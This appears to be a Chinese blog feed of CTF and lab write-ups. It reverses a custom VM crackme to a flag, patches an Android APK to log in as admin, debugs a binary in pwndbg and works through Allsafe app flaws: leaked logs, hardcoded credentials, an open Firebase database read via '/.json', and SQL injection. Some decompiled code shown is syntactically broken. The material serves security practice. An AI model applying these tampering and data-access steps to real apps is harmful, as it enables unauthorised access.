                        raise IndexError(f&apos;VM Memory Access Violation: zyin {opnum} out of bounds.&apos;)
                    self.PC += 2
                else:
                    raise ValueError(f&apos;VM Segmentation Fault: zyin {opnum} to unallocated memory.&apos;)
            case 55:
                if self.R0 in self.heap:
                    if opnum &amp;lt; len(self.heap[self.R0]):
                        self.heap[self.R0][opnum] = self.heap[self.R0][opnum] &amp;lt;&amp;lt; self.R1 &amp;amp; 255
                    else:
                        raise IndexError(f&apos;VM Memory Access Violation: yyin {opnum} out of bounds.&apos;)
                    self.PC += 2
                else:
                    raise ValueError(f&apos;VM Segmentation Fault: yyin {opnum} to unallocated memory.&apos;)
            case 56:
                self.R1 = 0 if self.R1!= 0 else 1
                self.PC += 1
            case 64:
                self.R1 = 1 if self.R1 == opnum else 0
                self.PC += 2
            case 65:
                self.PC += 2 + opnum
            case 66:
                if self.R1 == 0:
                    self.PC += 2 + opnum
                else:
                    self.PC += 2
            case 67:
                if self.R1!= 0:
                    self.PC += 2 + opnum
                else:
                    self.PC += 2
            case 68:
                self.PC += 2 - opnum
            case 69:
                if self.R1 == 0:
                    self.PC += 2 - opnum
                else:
                    self.PC += 2
            case 70:
                if self.R1!= 0:
                    self.PC += 2 - opnum
                else:
                    self.PC += 2
            case 80:
                if self.R0 in self.heap:
                    if opnum &amp;lt; len(self.heap[self.R0]):
                        temp = self.heap[self.R0][opnum]
                        self.heap[self.R0][opnum] = self.R1
                        self.R1 = temp
                    else:
                        raise IndexError(f&apos;VM Memory Access Violation: swap {opnum} out of bounds.&apos;)
                    self.PC += 2
                else:
                    raise ValueError(f&apos;VM Segmentation Fault: swap {opnum} on unallocated memory.&apos;)
            case 81:
                self.R0, self.R1 = (self.R1, self.R0)
                self.PC += 1
            case 82:
                if opnum == 1:
                    user_input = input(&apos;Input: &apos;)
                    if self.R0 in self.heap:
                        for i, char in enumerate(user_input):
                            self.heap[self.R0][i] = ord(char) if i &amp;lt; len(self.heap[self.R0]) else IndexError(&apos;VM Memory Access Violation: input string too long for allocated buffer.&apos;)
                    else:
                        raise ValueError(&apos;VM Segmentation Fault: int 1 (input) to unallocated memory.&apos;)
                    if opnum == 2 and self.R0 in self.heap:
                        mem_block = self.heap[self.R0]
                        out_chars = []
                        for c in mem_block:
                            c == 0 if c == 0 else out_chars.append(chr(c))
                        print(&apos;&apos;.join(out_chars), flush=True)
                self.PC += 2
            if False:
                pass
            raise ValueError(f&apos;Unknown opcode 0x{opcode:02X} at PC={self.PC - 1}&apos;)
if __name__ == &apos;__main__&apos;:
    print(&apos;Usage: python kernelVM.py &amp;lt;program.bin&amp;gt;&apos;) if len(sys.argv) &amp;lt; 2 else None
        sys.exit(1)
    filename = sys.argv[1]
    with open(filename, &apos;rb&apos;) as f:
        bytecode = f.read()
    vm = CustomVM()
    print(&apos;--- VM Start ---&apos;)
    vm.run(bytecode)
    print(&apos;\n--- VM End ---&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终跑出来的是why_you_think_this_is_true，但喂给程序做验证却不对&lt;/p&gt;
&lt;p&gt;删除bin文件的话，程序会报找不到文件的输出&lt;/p&gt;
&lt;p&gt;把bin文件的内容改成垃圾字节，程序依然稳定走Input-&amp;gt;No&lt;/p&gt;
&lt;p&gt;说明程序会检查bin文件是否存在，但不关注它里面的内容，确定他执行时并未使用该文件的实际内容&lt;/p&gt;
&lt;p&gt;让AI帮忙patch一份调试版的main.exe，插桩&lt;/p&gt;
&lt;p&gt;最终得到真实运行的字节码文件&lt;/p&gt;
&lt;p&gt;基于这个bin文件有vm解得&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;若字节非 0：`x[i] = (x[i] + 0x0A) &amp;amp; 0xFF`
2. 前缀链式异或：`x[i] = x[i] ^ x[i-1]`（`i &amp;gt;= 1`）
3. 若字节非 0：
`i` 偶数：`x[i] = (x[i] + 0x10) &amp;amp; 0xFF`
`i` 奇数：`x[i] = (x[i] + 0x31) &amp;amp; 0xFF`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[96, 155, 34, 172, 64, 121, 54, 128, 130, 74, 116, 24, 151, 37, 179, 35, 169, 211, 50, 74, 134, 87, 117, 74, 138, 97, 95]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from __future__ import annotations

from pathlib import Path

BYTECODE_PATH = Path(&quot;dumped_live_opcode.bin&quot;)

TWO_BYTE_OPS = {
    16,
    17,
    18,
    32,
    48,
    49,
    50,
    51,
    52,
    53,
    54,
    55,
    64,
    65,
    66,
    67,
    68,
    69,
    70,
    80,
    82,
}

def disassemble(bytecode: bytes) -&amp;gt; list[tuple[int, int, int | None]]:
    instructions: list[tuple[int, int, int | None]] = []
    pc = 0
    while pc &amp;lt; len(bytecode):
        opcode = bytecode[pc]
        size = 2 if opcode in TWO_BYTE_OPS else 1
        operand = bytecode[pc + 1] if size == 2 else None
        instructions.append((pc, opcode, operand))
        pc += size
    return instructions

def extract_compare_constants(
    instructions: list[tuple[int, int, int | None]], length: int = 27
) -&amp;gt; list[int]:
    for start in range(len(instructions) - (length * 3) + 1):
        constants: list[int] = []
        fail_target: int | None = None

        for index in range(length):
            load_pc, load_op, load_arg = instructions[start + index * 3]
            eq_pc, eq_op, eq_arg = instructions[start + index * 3 + 1]
            jz_pc, jz_op, jz_arg = instructions[start + index * 3 + 2]

            if load_op != 17 or load_arg != index:
                break
            if eq_op != 64 or eq_arg is None:
                break
            if jz_op != 66 or jz_arg is None:
                break

            target = jz_pc + 2 + jz_arg
            if fail_target is None:
                fail_target = target
            elif fail_target != target:
                break

            constants.append(eq_arg)
        else:
            return constants

    raise ValueError(&quot;Could not locate the final compare block in dumped_live_opcode.bin&quot;)

def forward_transform(data: list[int]) -&amp;gt; list[int]:
    values = data[:]

    for index, value in enumerate(values):
        if value != 0:
            values[index] = (value + 0x0A) &amp;amp; 0xFF

    for index in range(1, len(values)):
        values[index] ^= values[index - 1]

    for index, value in enumerate(values):
        if value != 0:
            values[index] = (value + (0x10 if index % 2 == 0 else 0x31)) &amp;amp; 0xFF

    return values

def recover_candidate(constants: list[int]) -&amp;gt; bytes:
    stage2 = [
        (value - (0x10 if index % 2 == 0 else 0x31)) &amp;amp; 0xFF
        for index, value in enumerate(constants)
    ]

    stage1 = [0] * len(stage2)
    stage1[0] = stage2[0]
    for index in range(1, len(stage2)):
        stage1[index] = stage2[index] ^ stage2[index - 1]

    return bytes((value - 0x0A) &amp;amp; 0xFF for value in stage1)

def main() -&amp;gt; None:
    bytecode = BYTECODE_PATH.read_bytes()
    instructions = disassemble(bytecode)
    constants = extract_compare_constants(instructions)
    candidate = recover_candidate(constants)

    verified = forward_transform(list(candidate)) == constants

    print(&quot;compare constants:&quot;, &quot;&quot;.join(f&quot;{value:02x}&quot; for value in constants))
    print(&quot;candidate bytes :&quot;, candidate.hex())
    print(&quot;candidate text  :&quot;, candidate.decode(&quot;latin-1&quot;))
    print(&quot;verified        :&quot;, verified)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xmctf{F0n_And_3asyViMGa1v1eF9rY@u}&lt;/p&gt;
&lt;h1&gt;MIxTielete&lt;/h1&gt;
&lt;p&gt;这是一个android题目。题目要求我们以admin的身份登录&lt;/p&gt;
&lt;p&gt;先看main函数，onCreate（）里setContentView拿到按钮和文本框，并启动一个新线程去执行login()&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-57.png&quot; alt=&quot;Figure 57&quot; /&gt;&lt;/p&gt;
&lt;p&gt;真正的业务函数是login()&lt;/p&gt;
&lt;p&gt;&lt;code&gt;load(this)&lt;/code&gt;：初始化某些组件、配置、so、存储数据之类&lt;/p&gt;
&lt;p&gt;&lt;code&gt;get()&lt;/code&gt;：拿到某个单例对象&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Login(&quot;user&quot;)&lt;/code&gt;：生成或取出登录信息&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-58.png&quot; alt=&quot;Figure 58&quot; /&gt;&lt;/p&gt;
&lt;p&gt;题目给的提示是用admin登录，这里把‘user’改为‘admin’，把修改后的重新打包并签上名&lt;/p&gt;
&lt;p&gt;然后把apk文件安装在模拟器上，点击按钮出现‘hacker’&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-59.png&quot; alt=&quot;Figure 59&quot; /&gt;&lt;/p&gt;
&lt;p&gt;说明还有其他的隐藏逻辑，细看login函数实现&lt;/p&gt;
&lt;p&gt;EncTitlele 不是 Java 实现，而是 native&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-60.png&quot; alt=&quot;Figure 60&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在类初始化时System.loadLibrary(&quot;mixtitlele&quot;) 加载，实现库在libmixtitlele.so&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-61.png&quot; alt=&quot;Figure 61&quot; /&gt;&lt;/p&gt;
&lt;p&gt;真正起作用的是sImpl接口实现&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-62.png&quot; alt=&quot;Figure 62&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sImpl来自动态加载的libflutter.so，这说明 libflutter.so 不是普通 so，而是伪装成 so 的 APK/Dex 容器&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-63.png&quot; alt=&quot;Figure 63&quot; /&gt;&lt;/p&gt;
&lt;p&gt;隐藏入口类自动调用 register()，它先加载接口 OO00OO0OOOOO0O00OO，再 Proxy.newProxyInstance(...)&lt;/p&gt;
&lt;p&gt;然后加载 OO00OO0OO00OOOOOO0 并反射调用它的 register(proxy)&lt;/p&gt;
&lt;p&gt;真正的登录构造在LogInfo(String)&lt;/p&gt;
&lt;p&gt;代理分发函数invoke()，它检查方法名是否为 Login，然后转调 LogInfo()。这就是为什么外层看上去只是 Login(&quot;user&quot;)，实际却会被包装成一个结构体&lt;/p&gt;
&lt;p&gt;Encrypt.enc() 不是校验逻辑，只是一层异或流加密&lt;/p&gt;
&lt;p&gt;native 侧可以合理推断 EncTitlele 还会把这段 Base64 数据再包一层，依据libmixtitlele.so里能看到 EncTitlele、{&quot;a1&quot;:&quot;、&quot;b2&quot;:&quot;、com/example/titlele/OO00OO0OOOO000O000、(Ljava/lang/String;)Ljava/lang/String; 这些字符串；同时导出表里有 JNI_OnLoad、rsaEncryptKey、aesEncryptInfo。这里我做的是推断，但从命名和字符串看，EncTitlele 大概率是在把登录信息封成 {&quot;a1&quot;:&quot;...&quot;,&quot;b2&quot;:&quot;...&quot;} 再发给服务器。&lt;/p&gt;
&lt;p&gt;只有把内层 setIsHacker(true) 一起改成 false，请求才会变成：user=&quot;admin&quot;, isHacker=false&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-64.png&quot; alt=&quot;Figure 64&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;shakelife&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;weixiao@weixiao:/mnt/e/ctf/polarisctf/ShakeLife$ gdb ./ShakeLife
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type &quot;show copying&quot; and &quot;show warranty&quot; for details.
This GDB was configured as &quot;x86_64-linux-gnu&quot;.
Type &quot;show configuration&quot; for configuration details.
For bug reporting instructions, please see:
&amp;lt;https://www.gnu.org/software/gdb/bugs/&amp;gt;.
Find the GDB manual and other documentation resources online at:
    &amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.

For help, type &quot;help&quot;.
Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...
pwndbg: loaded 194 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 11 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from ./ShakeLife...
(No debugging symbols found in ./ShakeLife)
------- tip of the day (disable with set show-tips off) -------
GDB and Pwndbg parameters can be shown or set with show &amp;lt;param&amp;gt; and set &amp;lt;param&amp;gt; &amp;lt;value&amp;gt; GDB commands
pwndbg&amp;gt; starti
Starting program: /mnt/e/ctf/polarisctf/ShakeLife/ShakeLife

Program stopped.
0x00007ffff7fe3290 in _start () from /lib64/ld-linux-x86-64.so.2
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 RAX  0
 RBX  0
 RCX  0
 RDX  0
 RDI  0
 RSI  0
 R8   0
 R9   0
 R10  0
 R11  0
 R12  0
 R13  0
 R14  0
 R15  0
 RBP  0
 RSP  0x7fffffffd9c0 ◂— 1
 RIP  0x7ffff7fe3290 (_start) ◂— mov rdi, rsp
────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
 ► 0x7ffff7fe3290 &amp;lt;_start&amp;gt;               mov    rdi, rsp     RDI =&amp;gt; 0x7fffffffd9c0 ◂— 1
   0x7ffff7fe3293 &amp;lt;_start+3&amp;gt;             call   _dl_start                   &amp;lt;_dl_start&amp;gt;

   0x7ffff7fe3298 &amp;lt;_dl_start_user&amp;gt;       mov    r12, rax
   0x7ffff7fe329b &amp;lt;_dl_start_user+3&amp;gt;     mov    eax, dword ptr [rip + 0x19817]     EAX, [_dl_skip_args]
   0x7ffff7fe32a1 &amp;lt;_dl_start_user+9&amp;gt;     pop    rdx
   0x7ffff7fe32a2 &amp;lt;_dl_start_user+10&amp;gt;    lea    rsp, [rsp + rax*8]
   0x7ffff7fe32a6 &amp;lt;_dl_start_user+14&amp;gt;    sub    edx, eax
   0x7ffff7fe32a8 &amp;lt;_dl_start_user+16&amp;gt;    push   rdx
   0x7ffff7fe32a9 &amp;lt;_dl_start_user+17&amp;gt;    mov    rsi, rdx
   0x7ffff7fe32ac &amp;lt;_dl_start_user+20&amp;gt;    mov    r13, rsp
   0x7ffff7fe32af &amp;lt;_dl_start_user+23&amp;gt;    and    rsp, 0xfffffffffffffff0
─────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd9c0 ◂— 1
01:0008│     0x7fffffffd9c8 —▸ 0x7fffffffdc62 ◂— &apos;/mnt/e/ctf/polarisctf/ShakeLife/ShakeLife&apos;
02:0010│     0x7fffffffd9d0 ◂— 0
03:0018│     0x7fffffffd9d8 —▸ 0x7fffffffdc8c ◂— &apos;SHELL=/bin/bash&apos;
04:0020│     0x7fffffffd9e0 —▸ 0x7fffffffdc9c ◂— &apos;WSL2_GUI_APPS_ENABLED=1&apos;
05:0028│     0x7fffffffd9e8 —▸ 0x7fffffffdcb4 ◂— &apos;WSL_DISTRO_NAME=Ubuntu-22.04&apos;
06:0030│     0x7fffffffd9f0 —▸ 0x7fffffffdcd1 ◂— &apos;WT_SESSION=e594564a-5940-4e5d-bd4a-8cb2940088aa&apos;
07:0038│     0x7fffffffd9f8 —▸ 0x7fffffffdd01 ◂— &apos;NAME=weixiao&apos;
───────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► 0   0x7ffff7fe3290 _start
   1              0x1 None
   2   0x7fffffffdc62 None
   3              0x0 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555556000 r--p     2000       0 ShakeLife
    0x555555556000     0x55555555c000 r-xp     6000    2000 ShakeLife
    0x55555555c000     0x55555555e000 r--p     2000    8000 ShakeLife
    0x55555555f000     0x555555561000 rw-p     2000    9000 ShakeLife
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000       0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000    2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7fff000 rw-p     4000   37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000       0 [stack]
pwndbg&amp;gt; hbreak *0x55555555b388
Hardware assisted breakpoint 1 at 0x55555555b388
pwndbg&amp;gt; continue
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.
Please enter the flag:
Follow 1782544616 meow~ Follow 1782544616 Thanks meow~

Breakpoint 1, 0x000055555555b388 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────[ LAST SIGNAL ]───────────────────────────────────────────────────────────────
Breakpoint hit at 0x55555555b388
───────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
*RAX  0x101010101010101
*RBX  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RCX  0
*RDX  0x55555555fc80 —▸ 0x555555556560 ◂— endbr64
*RDI  0x7ffff7a1ca70 (_IO_stdfile_1_lock) ◂— 0
 RSI  0
*R8   0x555555556ce0 ◂— endbr64
*R9   0x55555555b345 ◂— endbr64
*R10  0xe9e9e9e9e9e9e9e9
*R11  0xc3
 R12  0
*R13  0x7ffff7ffda48 (_rtld_global+2568) ◂— 0
*R14  0x7fffffffd7a0 —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*R15  0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RBP  0x7fffffffd840 ◂— 0
*RSP  0x7fffffffd798 —▸ 0x7ffff7fc924e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38]
*RIP  0x55555555b388 ◂— lea rsi, [r9 + 0x525b]
────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
 ► 0x55555555b388                   lea    rsi, [r9 + 0x525b]       RSI =&amp;gt; 0x5555555605a0 ◂— 0
   0x55555555b38f                   lea    rdi, [r9 + 0x89]         RDI =&amp;gt; 0x55555555b3ce ◂— movsb byte ptr [rdi], byte ptr [rsi]
   0x55555555b396                   mov    ecx, 8                   ECX =&amp;gt; 8
   0x55555555b39b                   mov    rax, qword ptr [rsi]     RAX, [0x5555555605a0] =&amp;gt; 0
   0x55555555b39e                   xor    rax, r10                 RAX =&amp;gt; 0xe9e9e9e9e9e9e9e9 (0x0 ^ 0xe9e9e9e9e9e9e9e9)
   0x55555555b3a1                   mov    rbx, qword ptr [rdi]     RBX, [0x55555555b3ce] =&amp;gt; 0xebc890493f3b7ca4
   0x55555555b3a4                   cmp    rax, rbx                 0xe9e9e9e9e9e9e9e9 - 0xebc890493f3b7ca4     EFLAGS =&amp;gt; 0x10283 [ CF pf af zf SF IF df of iopl:00 ac ]
   0x55555555b3a7                 ✔ jne    0x55555555b3cd              &amp;lt;0x55555555b3cd&amp;gt;
    ↓
   0x55555555b3cd                   ret                                &amp;lt;_dl_fini+526&amp;gt;
    ↓
   0x7ffff7fc924e &amp;lt;_dl_fini+526&amp;gt;    mov    rax, qword ptr [rbp - 0x38]     RAX, [0x7fffffffd808] =&amp;gt; 0x55555555fc78 —▸ 0x55555555b345 ◂— endbr64
   0x7ffff7fc9252 &amp;lt;_dl_fini+530&amp;gt;    mov    rdx, rax                        RDX =&amp;gt; 0x55555555fc78 —▸ 0x55555555b345 ◂— endbr64
─────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd798 —▸ 0x7ffff7fc924e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38]
01:0008│ r14 0x7fffffffd7a0 —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
02:0010│-098 0x7fffffffd7a8 —▸ 0x7ffff7ffe890 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
03:0018│-090 0x7fffffffd7b0 —▸ 0x7ffff7fbb210 —▸ 0x7ffff7c00000 ◂— 0x3010102464c457f
04:0020│-088 0x7fffffffd7b8 —▸ 0x7ffff7fbb720 —▸ 0x7ffff7ece000 ◂— 0x3010102464c457f
05:0028│-080 0x7fffffffd7c0 —▸ 0x7ffff7fbbc30 —▸ 0x7ffff7eae000 ◂— 0x10102464c457f
06:0030│-078 0x7fffffffd7c8 —▸ 0x7ffff7fbc140 —▸ 0x7ffff7800000 ◂— 0x3010102464c457f
07:0038│-070 0x7fffffffd7d0 —▸ 0x7ffff7ffdaf0 (_rtld_global+2736) —▸ 0x7ffff7fc3000 ◂— 0x3010102464c457f
───────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► 0   0x55555555b388 None
   1   0x7ffff7fc924e _dl_fini+526
   2   0x7ffff7845495 __run_exit_handlers+261
   3   0x7ffff7845610 on_exit
   4   0x7ffff7829d97 __libc_start_call_main+135
   5   0x7ffff7829e40 __libc_start_main+128
   6   0x55555555648e None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; x/s 0x555555560008
0x555555560008: &quot;Correct!\n&quot;
pwndbg&amp;gt; x/64bx 0x55555555b3ce
0x55555555b3ce: 0xa4    0x7c    0x3b    0x3f    0x49    0x90    0xc8    0xeb
0x55555555b3d6: 0xa7    0x41    0xf5    0x5d    0xa9    0x31    0x2a    0x1f
0x55555555b3de: 0x80    0x2f    0xef    0xfe    0x80    0xbe    0x3d    0x7e
0x55555555b3e6: 0x27    0x96    0xa7    0x42    0xce    0x7f    0xd1    0x3e
0x55555555b3ee: 0x0a    0xb2    0x1a    0x7e    0x54    0xb7    0x0a    0xe8
0x55555555b3f6: 0x76    0xfd    0xb6    0x64    0xcd    0x9d    0xaf    0x98
0x55555555b3fe: 0x4b    0x81    0x88    0x58    0x57    0x54    0x59    0xa4
0x55555555b406: 0x19    0x87    0xfc    0xe9    0xe9    0xe9    0xe9    0xe9
pwndbg&amp;gt; x/48bx 0x55555555b3ce
0x55555555b3ce: 0xa4    0x7c    0x3b    0x3f    0x49    0x90    0xc8    0xeb
0x55555555b3d6: 0xa7    0x41    0xf5    0x5d    0xa9    0x31    0x2a    0x1f
0x55555555b3de: 0x80    0x2f    0xef    0xfe    0x80    0xbe    0x3d    0x7e
0x55555555b3e6: 0x27    0x96    0xa7    0x42    0xce    0x7f    0xd1    0x3e
0x55555555b3ee: 0x0a    0xb2    0x1a    0x7e    0x54    0xb7    0x0a    0xe8
0x55555555b3f6: 0x76    0xfd    0xb6    0x64    0xcd    0x9d    0xaf    0x98
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Allsafe 靶场练习 WriteUp</title><link>https://blog-5w0.pages.dev/posts/allsafe/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/allsafe/</guid><description>Allsafe 靶场练习 WriteUp CTF WriteUp</description><pubDate>Sun, 02 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Insecure Logging  不安全的日志记录&lt;/h1&gt;
&lt;p&gt;这个第一个挑战就是这个apk的日志信息泄露&lt;/p&gt;
&lt;p&gt;用adb logcat查看日志信息，然后输入一个尝试密码‘weixiaoking’&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Figure 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在日志里面就可以看到，所以如果输入的正确密码，可能存在信息泄露&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Figure 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是源于此代码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Figure 3&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Hardcoded Credentials  硬编码凭证&lt;/h1&gt;
&lt;p&gt;这一关就是说有一些硬编码的泄露&lt;/p&gt;
&lt;p&gt;第一处内容为admin：psaaword123&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Figure 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Figure 5&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Firebase Database:  Firebase 数据库&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Firebase 数据库漏洞源于开发者未能为其 Firebase 实时数据库或 Firestore 配置提供充分的访问控制。Firebase 实时数据库以 REST API 的形式运行，可通过在 URL 后添加 .json 访问；如果读写权限设置为“任何人”，未经身份验证的攻击者即可直接访问数据库。&lt;/p&gt;
&lt;p&gt;在使用apkleaks对这个apk进行扫描时，发现这个apk确实用了Firebase&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Figure 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Figure 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在jadx中搜索，url为&lt;a href=&quot;https://allsafe-8cef0.firebaseio.com&quot;&gt;https://allsafe-8cef0.firebaseio.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Figure 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在url后加上/.json&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Figure 9&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Insecure Shared Preferences不安全的共享偏好&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Figure 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当 Android 应用程序使用 SharedPreferences 机制存储敏感数据（例如用户名、密码、令牌、API 密钥、信用卡信息等）而未进行加密或缺乏足够的访问控制时，就会出现不安全的 Shared Preferences 漏洞。如果设备已获得 root 权限或运行恶意应用程序，则这些数据很容易被访问、读取和篡改。这可能导致用户数据被盗、身份验证被绕过或帐户被劫持。&lt;/p&gt;
&lt;p&gt;每个应用都有自己的shared_prefs目录，通常位于/data/data/&amp;lt;包名&amp;gt;/shared_prefs/&lt;/p&gt;
&lt;p&gt;我先随便设置一下用户名与密码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Figure 11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在去MT管理器查看&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Figure 12&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;SQL Injection  SQL 注入&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞定义 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SQL 注入漏洞是指应用程序在未进行充分验证或过滤的情况下，直接将从用户接收的数据包含在 SQL 查询中。攻击者可以使用精心构造的输入（有效载荷）来获取对数据库的未经授权的访问权限，造成数据泄露，修改或删除数据，在某些情况下甚至可以在应用程序运行的服务器上执行命令。这种漏洞常见于 Web 应用程序、API 或移动应用程序的后端服务中。&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
